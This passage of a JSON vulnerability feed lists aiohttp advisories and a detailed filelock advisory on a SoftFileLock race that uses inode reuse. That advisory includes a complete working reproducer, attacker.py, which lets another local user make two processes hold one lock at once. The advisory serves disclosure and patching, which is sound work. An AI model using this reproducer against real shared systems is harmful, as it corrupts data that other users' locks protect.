request.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111063"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111064","published":"2026-10-22T08:48:52Z","modified":"2026-10-22T08:48:52Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111065","published":"2026-10-22T08:48:52Z","modified":"2026-10-22T08:48:52Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111066","published":"2026-10-22T08:48:52Z","modified":"2026-10-22T08:48:52Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111748","published":"2026-10-22T08:48:52Z","modified":"2026-10-22T08:48:52Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111749","published":"2026-10-22T08:48:52Z","modified":"2026-10-22T08:48:52Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-111750","published":"2026-10-22T08:48:52Z","modified":"2026-10-22T08:48:52Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112906","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-2g95-wg33-c5x2","CVE-2026-112906"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.33.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse","details":"`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at `<path>`, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.\n\nTwo of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock.\n- The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either.\n- File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).\n- At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`).\n- No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123). The [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) paths hand an unparsable marker to the same code. The re-check in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118) compares the values the contender just read.\n\n## Introduced\n\n0f7c4d3794dc (\"fix(soft): expire leases on the contender's clock\", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.\n\n## Mechanism\n\n`SoftFileLock._acquire` creates the marker with `O_CREAT | O_EXCL` (create the file, fail if it exists) and only then writes the holder record. In between it calls `fstat` and `uname`, stats `/proc/self/ns/pid` and reads `/proc/<pid>/stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.\n\nNeither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.\n\n1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.\n2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.\n3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.\n4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.\n5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.\n6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.\n7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.\n\nStep 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.\n\n`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == \"lease\" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nLOCK_DIR = \"/tmp/locks\"\nLOCK_PATH = \"/tmp/locks/app.lock\"\nHOLDS_LOG = \"/tmp/holds.log\"\n\n\ndef start_victims():\n    # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n    victim = [sys.executable, \"/tmp/repro.d/victim.py\", LOCK_PATH]\n    with open(HOLDS_LOG, \"w\") as holds_log:\n        return [\n            subprocess.Popen(victim, stdout=holds_log, user=\"victim\", group=\"victim\", extra_groups=[])\n            for _ in range(10)\n        ]\n\n\ndef holds_entered_after(moment):\n    holds = []\n    for line in open(HOLDS_LOG):\n        fields = dict(field.split(\"=\") for field in line.split())\n        hold = {\"entered\": float(fields[\"entered\"]), \"exited\": float(fields[\"exited\"]), \"line\": line.strip()}\n        if hold[\"entered\"] > moment:\n            holds.append(hold)\n    return sorted(holds, key=lambda hold: hold[\"entered\"])\n\n\ndef attack_until_overlap(phase, date_offset_s, max_attempts):\n    victims = start_victims()\n    attacker = [sys.executable, \"/tmp/repro.d/attacker.py\", LOCK_PATH, str(date_offset_s)]\n    for attempt in range(1, max_attempts + 1):\n        run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,\n                             user=\"attacker\", group=\"attacker\", extra_groups=[])\n        print(f\"{phase} attempt {attempt}: {run.stdout.strip()}\", flush=True)\n        unlinked_at = float(run.stdout.split(\"unlinked_at=\")[1])\n        time.sleep(0.4)  # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now\n\n        # A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the\n        # report), so those are left out. time.monotonic() is one clock for every process on the machine.\n        holds = holds_entered_after(unlinked_at + 0.001)\n        overlaps = [(first, second) for first, second in zip(holds, holds[1:])\n                    if second[\"entered\"] < first[\"exited\"]]\n        if overlaps:\n            break\n    for victim in victims:\n        victim.kill()\n        victim.wait()\n    return overlaps\n\n\n# control: the attacker's file is dated an hour after the tick in which it is unlinked\ncontrol = attack_until_overlap(\"CONTROL\", date_offset_s=3600, max_attempts=20)\n# attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets\nobserved = attack_until_overlap(\"OBSERVED\", date_offset_s=0, max_attempts=250)\n\n# check: no two victims may ever be inside the lock at once\nfor phase, overlaps in [(\"CONTROL\", control), (\"OBSERVED\", observed)]:\n    print(f\"{phase}: {len(overlaps)} time(s) two victims inside the lock at once\")\n    for first, second in overlaps:\n        print(f\"{phase}:   {first['line']}\")\n        print(f\"{phase}:   {second['line']}\")\nprint(\"BUG\" if observed and not control else \"OK\")\n```\n\n**`repro.d/attacker.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport random\nimport sys\nimport time\n\nlock_path, date_offset_s = sys.argv[1], int(sys.argv[2])\n\nCLOCK_REALTIME_COARSE = 5  # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick\ntick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)\n\n# take the lock path the moment it is free, like any contender\nwhile True:\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n        break\n    except FileExistsError:\n        time.sleep(0.002)\n\n# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random\n# part makes some attempts free the path just before one of their polls.\npark_s = random.uniform(2.2, 2.25)\nrelease_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns\nmtime_ns = release_tick + date_offset_s * 10**9\nos.utime(fd, ns=(mtime_ns, mtime_ns))\ninode = os.fstat(fd).st_ino\nos.close(fd)\n\ntime.sleep(park_s - 0.05)\nwhile time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:\n    pass\nos.unlink(lock_path)  # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode\nunlinked_at = time.monotonic()\ntime.sleep(0.1)  # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer\nprint(f\"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}\")\n```\n\n**`repro.d/victim.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(0.3)  # work on whatever the lock protects\n        print(f\"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}\", flush=True)\n    time.sleep(0.05)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user\n    participant P as lock path (sticky dir, ext4, 4 ms clock ticks)\n    participant S as process S of the lock user (waiting)\n    participant F as process F of the lock user\n    X->>P: create empty file, inode I, utime to future tick T\n    S->>P: poll: empty file, key (T, I), watch starts\n    Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting\n    rect rgb(255, 214, 214)\n        X->>P: at tick T: unlink own file, I is free\n        F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written\n        S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker\n        F->>P: writes record into the unlinked inode, acquire() returns\n        Note over S,F: the path is empty, the next contender creates a marker: two holders, no error\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs ten copies of a default-option `SoftFileLock` program (0.3 s of work per hold, 50 ms between holds) as user `victim` in a root-owned `1777` directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user `attacker` waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when `CLOCK_REALTIME_COARSE` reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.\n\nIn four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two `victim` processes overlapping in time with `is_locked=True`, for example `pid=217 entered=241.295272609 exited=241.59542327` and `pid=216 entered=241.295518489 exited=241.595641553`. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, `--cpus 2`). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that `utime` cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.\n\n## Impact\n\nA local user who can create a file in a soft lock's directory, a sticky directory such as `/tmp` included, gets two processes of another user to hold the same `SoftFileLock` at once (`MarkerSoftFileLock` too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. For `SoftFileLease` the effect is a live, refreshed claim taken after milliseconds instead of after `lease_duration` without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. Raise `poll_interval` so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-RKC48J5B`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:42 UTC: fix PR #843 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112906"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112908","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-6627-m3xw-93mp","CVE-2026-112908"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold","details":"`StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at 